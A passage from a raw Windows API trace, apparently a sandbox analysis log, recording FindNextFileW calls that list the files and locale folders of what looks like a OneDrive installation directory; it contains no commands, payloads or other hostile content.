ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kok", cAlternateFileName="")) returned 1 [0203.818] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb555a11, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0xb555a11, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0xb555a11, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ku-arab", cAlternateFileName="")) returned 1 [0203.819] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc0a3f4, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0xbc0a3f4, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0xbc0a3f4, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ky", cAlternateFileName="")) returned 1 [0203.819] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc3c9ef6, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0xc3c9ef6, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0xc3c9ef6, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lb-lu", cAlternateFileName="")) returned 1 [0203.819] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef8a75db, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xef8a75db, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xef919cde, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x13a0c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="libeay32.dll", cAlternateFileName="")) returned 1 [0203.819] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefb09b89, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xefb09b89, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xefb2fe65, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x74c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="libEGL.dll", cAlternateFileName="")) returned 1 [0203.819] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefec3664, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xefec3664, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xefec3664, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x1e06c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="libGLESv2.dll", cAlternateFileName="LIBGLE~1.DLL")) returned 1 [0203.819] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01e47bb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf01e47bb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf01e47bb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x1900, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LoadingPage.html", cAlternateFileName="LOADIN~1.HTM")) returned 1 [0203.819] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf046cfd1, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf046cfd1, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf0505951, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x1500c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LoggingPlatform.dll", cAlternateFileName="LOGGIN~1.DLL")) returned 1 [0203.819] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xce60d95, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0xce60d95, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0xce60d95, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1 [0203.820] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6df3c3, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0xd6df3c3, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0xd6df3c3, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1 [0203.820] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd478f2, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0xdd478f2, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0xdd478f2, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mi-nz", cAlternateFileName="")) returned 1 [0203.820] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4bae99, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0xe4bae99, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0xe4bae99, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mk", cAlternateFileName="")) returned 1 [0203.820] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecc6dc0, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0xecc6dc0, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0xecc6dc0, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ml-in", cAlternateFileName="")) returned 1 [0203.820] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf486817, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0xf486817, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0xf486817, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mn", cAlternateFileName="")) returned 1 [0203.821] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbdb1a2, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0xfbdb1a2, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0xfbdb1a2, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mr", cAlternateFileName="")) returned 1 [0203.821] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1034e754, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x1034e754, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1034e754, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ms", cAlternateFileName="")) returned 1 [0203.821] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf087906d, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf087906d, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf087906d, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x6acc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0203.821] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10a2939b, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x10a2939b, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x10a2939b, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mt-mt", cAlternateFileName="")) returned 1 [0203.821] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10d6dd08, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x10d6dd08, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x10d6dd08, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1 [0203.821] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11199ef0, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x11199ef0, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x11199ef0, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ne-np", cAlternateFileName="")) returned 1 [0203.821] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1159fe85, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x1159fe85, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1159fe85, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl", cAlternateFileName="")) returned 1 [0203.821] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x119cc05c, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x119cc05c, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x119cc05c, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nn-no", cAlternateFileName="")) returned 1 [0203.821] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11e446f7, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x11e446f7, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x11e446f7, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nso-za", cAlternateFileName="")) returned 1 [0203.822] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0b9a1d6, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf0b9a1d6, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf0b9a1d6, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x17aac8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OneDrive.exe", cAlternateFileName="")) returned 1 [0203.822] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0d8a071, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf0d8a071, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf0d8a071, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x123c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OneDriveLogo.png", cAlternateFileName="ONEDRI~1.PNG")) returned 1 [0203.822] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1084fa2, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf1084fa2, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf17ba2b8, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x22e8c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OneDriveStandaloneUpdater.exe", cAlternateFileName="ONEDRI~1.EXE")) returned 1 [0203.822] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x122e2ffb, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x122e2ffb, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x122e2ffb, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="or-in", cAlternateFileName="")) returned 1 [0203.822] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1275b68c, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x1275b68c, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1275b68c, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pa", cAlternateFileName="")) returned 1 [0203.822] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12b3b3bd, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x12b3b3bd, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x12b3b3bd, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pa-arab", cAlternateFileName="")) returned 1 [0203.822] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12f41348, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x12f41348, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x12f41348, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl", cAlternateFileName="")) returned 1 [0203.822] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x13e694e3, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x13e694e3, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x13e694e3, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="platforms", cAlternateFileName="PLATFO~1")) returned 1 [0203.822] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x142bb925, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x142bb925, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x142bb925, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="prs-af", cAlternateFileName="")) returned 1 [0203.822] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1467548f, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x1467548f, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1467548f, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1 [0203.822] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14b13cf5, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x14b13cf5, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x14b13cf5, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-pt", cAlternateFileName="")) returned 1 [0203.822] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ecd7c9, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x1ec87e47, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1ec87e47, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="qml", cAlternateFileName="")) returned 1 [0203.823] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1ca4f64, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf1ca4f64, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf1d89d75, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x48eac8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Qt5Core.dll", cAlternateFileName="")) returned 1 [0203.823] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf21b5f68, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf21b5f68, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf21b5f68, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x53ec8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Qt5DBus.dll", cAlternateFileName="")) returned 1 [0203.823] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2b3f63d, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf2b3f63d, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf2d09276, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x4becc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Qt5Gui.dll", cAlternateFileName="")) returned 1 [0203.823] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf34eef09, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf34eef09, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf34eef09, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0xe4ac8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Qt5Network.dll", cAlternateFileName="QT5NET~1.DLL")) returned 1 [0203.823] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3b7d6aa, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf3b7d6aa, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf3ba390e, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x450c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Qt5PrintSupport.dll", cAlternateFileName="QT5PRI~1.DLL")) returned 1 [0203.823] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf41e5bf4, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf41e5bf4, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf41e5bf4, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x280cc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Qt5Qml.dll", cAlternateFileName="")) returned 1 [0203.823] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4ad6ba0, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf4ad6ba0, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf4b95568, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x2b9ac8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Qt5Quick.dll", cAlternateFileName="")) returned 1 [0203.823] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf518b334, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf518b334, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf518b334, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x192c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Qt5QuickControls2.dll", cAlternateFileName="QT5QUI~1.DLL")) returned 1 [0203.823] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5ef470e, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf5ef470e, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf5ef470e, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x9b2c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Qt5QuickTemplates2.dll", cAlternateFileName="QT5QUI~2.DLL")) returned 1 [0203.823] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6346bd1, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf6346bd1, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf6346bd1, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x44ac8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Qt5Svg.dll", cAlternateFileName="")) returned 1 [0203.823] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf691671e, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf691671e, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf691671e, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x442cc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Qt5Widgets.dll", cAlternateFileName="QT5WID~1.DLL")) returned 1 [0203.824] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e73bdf, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf6e73bdf, ftLastAccessTime.dwHighDateTime=0x1d38c43, 